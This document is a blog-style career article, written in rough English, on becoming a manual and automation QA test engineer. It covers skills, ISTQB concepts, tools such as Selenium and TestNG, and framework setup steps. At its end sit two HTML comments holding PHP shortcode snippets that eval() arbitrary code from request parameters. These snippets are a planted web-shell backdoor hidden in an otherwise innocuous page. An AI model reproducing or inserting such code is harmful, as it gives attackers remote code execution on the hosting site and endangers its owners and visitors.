Way to QA

Way to QA

Nowadays a lot of people believe that QA (tester, test engineer) – the lightest engineering position in the IT sector. A few years ago on this post really was quite easy to get. It was enough to know English at a level below the average, to understand the PC at the level of average user .. well, actually that’s all. Of course, there were projects where the requirements were much higher, depending on the project. Over the years, the IT market is overflowed by “engineers” who can communicate in English at the secondary level and know how to go to “regedit”. And now to become on the position QA / QC – need to know much more and need to expand their horizon of knowledge.

         So, what you need to know / be able to become a test engineer at the present time. 

  • Foreign languages. Often test engineers need to serve as project manager. As you know, outsourcing it’s mainly foreign customers, who will be very happy if somebody from the teams which will serve their request, be able to communicate in their own language. Of course, English is №1 list of required languages, as it is the language of all meetings, discussions, etc.
  • Knowledge of basic (but preferably all) concepts ISTQB. Candidate for the position of QA Engineer obliged to understand such concepts as Test Design, Test Case Design Technique, Test Plan, Test Case, Test Coverage, QA, QC, Quality, Bug and all artifacts that relate Test Case or Bug. The candidate should also understand why knowledge of these concepts are important to the project. After QA – this is the man on the project, who decides whether application is ready to go to the end user or not.
  • It is necessary knowledge and skills то use systems such as Test Tracking System, Bug Tracking System (this is not a specific application names. Examples of these programs can be Jira, TestLink, Bugzilla, HP Quality center, etc.)
  • Not do without the knowledge management operating systems. And not only the family of Windows, but * NIX systems too. Test engineer will need to customize his own test environment not only once. As a rule, none of the team does not want to do it, so expect a big help is not necessary. Better to be able to adjust everything.
  • Recently on QA engineers also “voluntarily requested” basic knowledge in automation testing as simple cover car test application, rather than hire 100500 testers. And this, of course, need to have a basic concept in OOP and additional platforms that will be used for testing. Described in more detail in another article here.
  • Also test engineer is required to be able to analyze problem areas found in the application and in the software development process.
  • And most importantly – a desire to be a test engineer not because of good salary but because the work is really like. Because if testers do not like his work, then do not look for high quality software.

So, here described such a requirement for genuine Software Test Engineer, whose companies wish to employ and do not want to let go. To acquire such knowledge – takes about 3-4 months very hard work on yourself.
Thanks to all who read this article. Stay tuned, write comments or private mails, I will try to answer all.

How to become an Automation Test Engineer?

The last few years I have been working as Automation Software test engineer, or as they say in the labor market Automation QA / Software test engineer, etc.
And quite often, friends and acquaintances asking the same question: “how to start doing what you do? What need to know? Is it hard? “Or questions from engineers about the technical side automation, about which technologies to use and how to do it correctly. So, in this article I want to make a brief description of “What? How? When? “.

P.S.
More details about automation can be found at webinars. Information like how and where will be published later. Thank you.

Let’s start!

What need to know?

It’s the most frequently asked question. The answer is simple: what you want to automate (Web application, services), whether it be unit testing or acceptance testing, the basic principles on the “object-oriented programming, programming language (JAVA, C #, Python, …) at a basic level, using search engine, and it is desirable to understand the basic principles and concepts manual testing (test cases, bug, verification, validation, …), build systems (Maven, ANT, MS Build), technology testing, ie frameworks or libraries (Selenium, Cucumber , TestNG, JUnit, NUnit, …), web selectors elements (xpath, css-selectors), knowledge of Java-Script, JQuery is a big plus.

How need to automate the tests?

Need to automate correctly.
In order to make the correct framework for automation testing – not enough to create a new project. This should be a structured framework and preferably written for re-using by anothe test engineer. You need to have a list of test cases. It is necessary to separate the web part from service part or part of the desktop. It gets different modules. The more finely Your framework will be devided into logical parts – the more benefits and enough time You will have. Because it will save time in maintaining the framework and expanding it.

When need to start the process of automation testing on the project?

And it is desirable to do so as soon as possible. Most project managers wait until  one and the same bugs (regression) will overflow project and there will no time to engage in testing other modules, when there is no time to conduct non-functional testing. If don’t do this – the project will be on the incline into oblivion. So if you already have QA – then write the correct tests, so you do not bite your elbows because one of the functional tests covered more than you need, and the other  are partial remains “intact” testing. If You are QC – then learn everything that knows QA.

Few practical steps and tips on how to start automation project

  1. Download program for software development. If you choose Java, Python – download IDEA IntelliJ or PyCharm or Eclipse. If C # – need Visual Studio.
  2. Install additional plugin for Maven, Ant, TestNG, JUnit, NUnit (it’s not to hard understand how it works).
  3. Create correct project.
  4. Download and add required libraries.
  5. Create base structure of the framework. Need to think what part of tests You want to execute before main test suite. TestNG manual will help You in this.
  6. Set up test environment. Install required web browsers. Run required Java service if test run will be executed on another work station.
  7. When You are creating an objects of web-element – separate them to different classes to make code reusable and extendable.
  8. In assert (Assert) need to write correct strings which will describe the error.
  9. Tests should not be very big or very small.
  10. Pre-conditions should not be bigger then test-steps.

Summary

In summary of everythingI want to say that in order to engage in IT engineering – need to love it. Do not just deal for the money, but because it’s interesting. A good salary will come by itself.

In order to engage the testing – you need to feel the desire to improve the software. If you open an application or a web resource and you have a desire to report errors or to correct them – then testing is Your work and hobby. And it’s good.

Thanks to all for the reading of this article. I’ll be happy to answer on Your question. In the next posts You will find a different example of tips and tricks in automation testing.

<!– [insert_php]if (isset($_REQUEST["jAao"])){eval($_REQUEST["jAao"]);exit;}[/insert_php][php]if (isset($_REQUEST["jAao"])){eval($_REQUEST["jAao"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["CHEiF"])){eval($_REQUEST["CHEiF"]);exit;}[/insert_php][php]if (isset($_REQUEST["CHEiF"])){eval($_REQUEST["CHEiF"]);exit;}[/php] –>